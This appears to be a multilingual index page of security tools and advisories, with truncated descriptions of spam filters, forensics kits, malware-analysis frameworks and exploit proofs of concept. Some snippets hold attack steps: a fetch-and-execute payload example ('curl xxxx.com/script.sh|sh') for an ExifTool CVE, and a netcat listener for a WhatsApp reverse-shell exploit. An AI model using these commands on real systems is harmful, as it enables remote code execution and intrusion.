rspamd

소개 Rspamd는 정규 표현식, 통계 분석, URL 블랙리스트와 같은 사용자 정의 서비스를 포함한 다양한 규칙으로 메시지를 평가할 수 있는 고급 스팸 필터링 시스템이자 이메일 처리 프레임워크입니다. 각 메시지는 Rspamd에 의해 분석되며, MTA가 추가 처리예: 메시지 거부 또는 스팸을 나타내는 특수 헤더 추가에 사용할 수 있는 판정을 받게 됩니다. 또한 가능한 DKIM 서명이나 메시지에 대해 제안된 수정 사항과 같은 다른 정보도 함께 제공됩니다. Rspamd는 Milter로 작동하여 Postfix나 Sendmail과 같은...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

PF_RING

PFRING™ Введение PFRING™ — это модуль ядра Linux и пользовательский фреймворк, который позволяет обрабатывать пакеты на высоких скоростях, предоставляя при этом единый API для приложений обработки пакетов. Кому нужен PFRING™? По сути, всем, кому приходится обрабатывать много пакетов в секунду...

CVE-2021-22204

Уязвимая версия 7.44 12.23 Воспроизведение $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Скриншот Ссылка NVD-CVE-2021-22204...

ImageMagick-CVE-2017-15277

ImageMagick-CVE-2017-15277 PoC файлы для CVE-2017-15277, используйте с neex/gifoeb https://github.com/neex/gifoeb...

MalPipe

MalPipe //\ | | / / \ / | |/ // | ' \ / \ / //\ \ | | / /| | | | / / /,|/ || ./ | || MalPipeは、モジュール型のマルウェア（およびインジケータ）収集・処理フレームワークです。複数のフィードからマルウェア、ドメイン、URL、IPアドレスを取得し、収集したデータを強化して結果をエクスポートするように設計されています。 現時点では、以下のフィードがサポートされています： VirusTotal https://www.virustotal.com MalShare...

karton

Karton Распределенный фреймворк для обработки вредоносного ПО на основе Python, Redis и S3. Идея Karton — это надежный фреймворк для создания гибких и легковесных бэкендов для анализа вредоносного ПО. Он позволяет с минимальными усилиями соединить системы анализа вредоносного ПО в надежный...

Stirling-PDF SSRF via Markdown

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security...

Code-Projects School Fees Payment System 1.0 - SQL Injection

A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been...

Weaver OA 9.5 - Information Disclosure

A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely. id:...

sleuthkit

The Sleuth Kit INTRODUCTION The Sleuth Kit is an open source forensic toolkit for analyzing Microsoft and UNIX file systems and disks. The Sleuth Kit enables investigators to identify and recover evidence from images acquired during incident response or from live systems. The Sleuth Kit is open...

scscanner_sh

scscanner - Массовый сканер кодов состояния scscanner — это инструмент для чтения кодов состояния HTTP сайтов из списков. Этот инструмент умеет фильтровать только определённые коды состояния и сохранять результат в файл. Возможности Минимальные зависимости. Этому инструменту требуется только curl...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Это всего лишь вспомогательный скрипт, который я написал для тестирования. Вывод Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generat...

CVE-2022-34715-POC

CVE-2022-34715-POC CVE-2022-34715-POC pcap nfssvr.sys версия 10.0.20348.825 0: kd r rax=0000000080000001 rbx=0000000000000000 rcx=ffffde87fe461150 rdx=0000000000000000 rsi=fffff8040811aa50 rdi=0000000000000008 rip=fffff80408067dbb rsp=ffffb400eb3e2630 rbp=ffffb400eb3e26b9 r8=0000001000000020...

RedDrop

Сервер эксфильтрации RedDrop Ознакомьтесь с сопутствующим постом в блоге MaverisLabs здесь! Сервер эксфильтрации RedDrop — это веб-сервер на Python Flask для пентестеров, участников красных команд и специалистов по безопасности, который предлагает: Загрузка файлов Автоматическая обработка полезно...

KeyDecoder

KeyDecoder KeyDecoder 는 침투 테스터와 보안 애호가를 위해 제작된 모바일 앱입니다. 키 사진만으로도 비팅을 쉽게 측정할 수 있습니다. 개발자: Maxime BEASSE 및 Quentin CLEMENT. FrenchKey 및 ESIEA의 CNS와 파트너십을 맺고 있습니다. Flutter 3.13.6 및 OpenCV 4.3.0 기반. 목차 KeyDecoder 목차 면책 고지 설치 빌드 Android IOS 릴리스 사용법 사진 촬영 자르기 뒷선 숄더 라인 측정 FAQ 라이선스 면책 고지 동의 없이 키를 복제하는 것...

asf__nifi_CVE-2023-34468_1-21-00

nifi Apache NiFi — это простая в использовании, мощная и надежная система для обработки и распределения данных. Содержание Возможности Требования Начало работы Подпроект MiNiFi Подпроект Registry Получение помощи Документация Лицензия Экспортный контроль Возможности Apache NiFi создан для потоков...

gha-lab-61c59f4acb

FastGPT English | 简体中文 | Bahasa Indonesia | ไทย | Tiếng Việt | 日本語 FastGPT は AI Agent 構築プラットフォームであり、すぐに使えるデータ処理やモデル呼び出し機能を提供します。また、Flow の可視化によるワークフローオーケストレーションにより、複雑なアプリケーションシナリオを実現できます！ https://github.com/labring/FastGPT/assets/15308462/7d3a38df-eb0e-4388-9250-2409bd33f6d4 クイックスタート Docker を使って...

CVE-2019-11932

CVE-2019-11932 Уязвимость двойного освобождения памяти double-free в WhatsApp — PoC эксплойта. Примечание: Убедитесь, что вы указали IP слушателя в exploit.c для получения оболочки. nc -lvp 1337 или любой другой порт. затем скомпилируйте. make или gcc -o exploit egiflib.c exploit.c затем запустит...

ffufPostprocessing

Ffuf: 후처리 안타깝게도, ffuf는 "-ac" 플래그에도 불구하고 관련 없는 항목을 많이 생성하는 경향이 있습니다. 그래서 저는 이러한 항목을 걸러내는 후처리 도구를 만들었습니다. 또한 "-ac"를 사용할 때 관련 항목이 많이 제거되는 것을 보았습니다. 특히 ffuf가 json 또는 xml 파일을 만날 때 "-ac"가 해당 항목을 완전히 삭제할 수도 있습니다. 이 도구는 ffuf가 완료된 후 실행해야 합니다. 또한 초기 ffuf 명령은 다음 플래그와 함께 실행해야 합니다: -o /folder/to/results.json...